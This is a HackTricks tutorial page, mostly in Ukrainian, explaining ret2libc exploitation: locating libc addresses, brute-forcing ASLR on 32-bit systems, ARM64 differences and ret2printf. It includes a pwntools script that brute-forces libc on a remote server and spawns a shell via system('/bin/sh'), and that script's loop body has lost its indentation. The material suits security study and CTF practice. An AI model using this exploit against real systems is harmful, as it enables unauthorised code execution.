Ret2lib

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Базова інформація

Суть Ret2Libc полягає в перенаправленні потоку виконання вразливої програми на функцію всередині спільної бібліотеки (наприклад, system, execve, strcpy) замість виконання shellcode, що надається атакуючим, у стеку. Атакуючий формує payload, який змінює адресу повернення в стеку так, щоб вона вказувала на потрібну функцію бібліотеки, одночасно розміщуючи необхідні аргументи відповідно до calling convention.

Приклад кроків (спрощено)

  • Отримати адресу функції для виклику (наприклад, system) та команду для виконання (наприклад, /bin/sh)
  • Згенерувати ROP chain, щоб передати перший аргумент, що вказує на рядок команди, і перенаправити потік виконання до функції

Знаходження адрес

  • Припустимо, що використовується libc з поточної машини — ви можете знайти, де вона буде завантажена в пам’ять за допомогою:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Якщо ви хочете перевірити, чи ASLR змінює адресу libc, ви можете зробити так:

for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Знаючи використовувану libc, також можна знайти offset до функції system за допомогою:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Знаючи, яка libc використовується, також можна знайти зсув до рядка /bin/sh за допомогою:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Використання gdb-peda / GEF

Знаючи використовувану libc, також можна використовувати Peda або GEF, щоб отримати адреси функцій system, exit та рядка /bin/sh :

p system
p exit
find "/bin/sh"

Використання /proc/<PID>/maps

Якщо процес створює дочірні процеси щоразу, коли ви з ним взаємодієте (network server), спробуйте прочитати цей файл (ймовірно, потрібні права root).

Here you can find exactly where is the libc loaded inside the process and where is going to be loaded for every children of the process.

У цьому випадку він завантажений в 0xb75dc000 (This will be the base address of libc)

Невідома libc

Можливо, ви не знаєте, яку libc завантажує бінарний файл (бо вона може знаходитися на сервері, до якого у вас немає доступу). У такому випадку можна використати вразливість, щоб leak кілька адрес і визначити, яка libc використовується:

Leaking libc address with ROP

І шаблон для pwntools для цього можна знайти в:

Leaking libc - template

Визначення libc за 2 офсетами

Перевірте сторінку https://libc.blukat.me/ і використайте кілька адрес функцій всередині libc, щоб дізнатися версію, яка використовується.

Обхід ASLR у 32-бітних системах

These brute-forcing attacks are only useful for 32bit systems.

  • Якщо експлоїт локальний, можна спробувати brute-force базову адресу libc (корисно для 32bit систем):
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Якщо ви атакуєте віддалений сервер, ви можете спробувати burte-force адресу функції libc usleep, передавши їй як аргумент 10 (наприклад). Якщо в якийсь момент сервер відповідає на 10s довше, ви знайдете адресу цієї функції.

One Gadget

Виконати shell, просто перейшовши на одну конкретну адресу в libc:

One Gadget

x86 Ret2lib Приклад коду

У цьому прикладі ASLR brute-force інтегровано в код, а вразливий бінарний файл розташований на віддаленому сервері:

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Приклад коду

Check the example from:

ROP & JOP

ARM64 Ret2lib Приклад

У випадку ARM64 інструкція ret переходить туди, куди вказує регістр x30, а не туди, куди вказує регістр стеку. Тому це трохи складніше.

Також в ARM64 інструкція робить саме те, що вона робить (неможливо стрибнути всередину інструкції і перетворити її на іншу).

Check the example from:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Це дозволяє leak information from the process викликом printf/puts з певними даними, розміщеними як аргумент. Наприклад, поміщення адреси puts з GOT у виклик puts leak the address of puts in memory.

Ret2printf

Це, по суті, означає зловживання Ret2lib to transform it into a printf format strings vulnerability шляхом використання ret2lib для виклику printf з потрібними значеннями для експлуатації (звучить непотрібно, але можливо):

Format Strings

Other Examples & references

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks